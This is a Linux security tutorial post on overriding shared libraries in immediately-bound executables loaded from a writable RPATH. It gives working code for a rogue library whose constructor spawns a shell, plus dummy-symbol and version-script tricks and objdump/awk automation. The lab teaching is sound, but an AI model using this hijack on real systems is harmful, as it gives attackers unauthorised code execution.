Overriding shared libraries in immediately-bound executables on Linux

Andrea Cardaci — 01 March 2018

Scenario

Imagine a vulnerable program that loads its shared libraries from a relative location (or any other path that is writable by the attacker), the common trick is to craft a shared library having the same name as one of those required by the program and include an initializer function that, say, drops a shell as soon as the library is loaded.

This works nicely if the program resolves the symbols lazily (the default), i.e., according to the program flow and not at loading time.

If that’s not the case, the above attack is not feasible as the program expects all the known symbols to be present in the rogue library too1.

As a bonus annoyance the program may expect to find version information attached to the symbols of a shared library, otherwise warnings are generated by the dynamic linker at runtime.

The vulnerable program

Let’s start by writing a dummy vulnerable program containing all the tricks highlighted so far. The library exports a function that simply greets the caller:

/* shared.c */
#include <stdio.h>

void greet() {
    printf("hello!\n");
}

While the program simply calls it:

/* main.c */
void greet();

int main() {
    greet();
    return 0;
}

Compiling the library with version information

In compiling the shared library we must add version information, this can be accomplished by creating a version script file2 like the following:

/* shared.version */
SHARED_1.0 {
    *;
};

And compiling with:

$ gcc -fPIC -shared -Wl,--version-script=shared.version shared.c -o libshared.so

This basically tells the compiler to assign the SHARED_1.0 version name to all the exported symbols in the library. We can check by inspecting the library with objdump:

$ objdump -j .text -T libshared.so

libshared.so:     file format elf64-x86-64

DYNAMIC SYMBOL TABLE:
0000000000000710 g    DF .text	0000000000000012  SHARED_1.0  greet

Compiling the program with immediate binding and custom RPATH

The program itself can be compiled with3:

$ gcc -L. -Wl,-rpath,. -Wl,-z,now -lshared main.c -o main

Relevant bits are:

Again, objdump allows to check that everything is as expected:

$ objdump -x main | grep 'BIND_NOW\|RPATH'
  RPATH                .
  BIND_NOW             0x0000000000000000

Naive approach

The simplest attempt to override libshared.so requires to write something like this:

/* override.c */
#include <stdio.h>
#include <unistd.h>

__attribute__((constructor))
void shell() {
    printf("Starting a new shell...\n");
    execl("/bin/bash", "/bin/bash", NULL);
}

If we compile the above with:

$ gcc -fPIC -shared override.c -o libshared.so

And run the program from the same directory we obtain the following errors:

$ ./main
./main: ./libshared.so: no version information available (required by ./main)
./main: relocation error: ./main: symbol greet, version SHARED_1.0 not defined in file libshared.so with link time reference

As previously mentioned: a warning about the lack of version information, a relocation error and our payload is not executed.

Fixing the relocation error

Since the error is about not finding the greet symbol, one could simply create a dummy symbol with that name within the override library. The actual type of the symbol is not important since we plan to run our initializer (that doesn’t return) even before the actual program starts.

So just adding, for example, int greet; to override.c is enough for the linker which now runs our initializer:

$ ./main
./main: ./libshared.so: no version information available (required by ./main)
Starting a new shell...
$ echo $SHLVL
2

Removing the warning

This is a minor point, but for the sake of completeness one could wonder how to remove the version information warning. Apparently, with the compilation settings we used, ld simply checks that the version name appears in the library4, it doesn’t check that every symbol exhibits the right value, so passing the following version script to the linker is enough:

/* override.version */
SHARED_1.0 {};

Compile as usual with:

$ gcc -fPIC -shared override.c -Wl,--version-script=override.version -o libshared.so

Notice how the warning is gone:

$ ./main
Starting a new shell...
$ echo $SHLVL
2

Automating the process

Real-life shared libraries contains many symbols and possibly multiple versions, so a manual approach is not feasible. Fortunately the process can be pretty easily scripted provided that either the target program or shared library is available.

The additional symbol definitions can be obtained with:

$ objdump -j .text -T libshared.so | awk 'NF == 7 { printf "int %s;\n", $7 }' | tee symbols.h
int greet;

Similarly for the version script:

$ objdump -j .text -T libshared.so | awk 'NF == 7 { printf "%s {};\n", $6 }' | sort -u | tee override.version
SHARED_1.0 {};

Now simply add #include "symbols.h" to override.c and compile as before.

The same information can be similarly extracted from the program executable by looking up the undefined symbols.

  1. Note that the above doesn’t apply if the shared library is loaded with dlopen using the RTLD_NOW option because the program doesn’t have any compile-time knowledge of the symbols imported in that case. 

  2. More information here

  3. It is likewise possible to avoid compiler options and run the program with the LD_BIND_NOW=0 and LD_LIBRARY_PATH=.environment variables set instead. 

  4. Using the -Wl,--default-symver option is not enough, rather, it causes a fatal runtime error.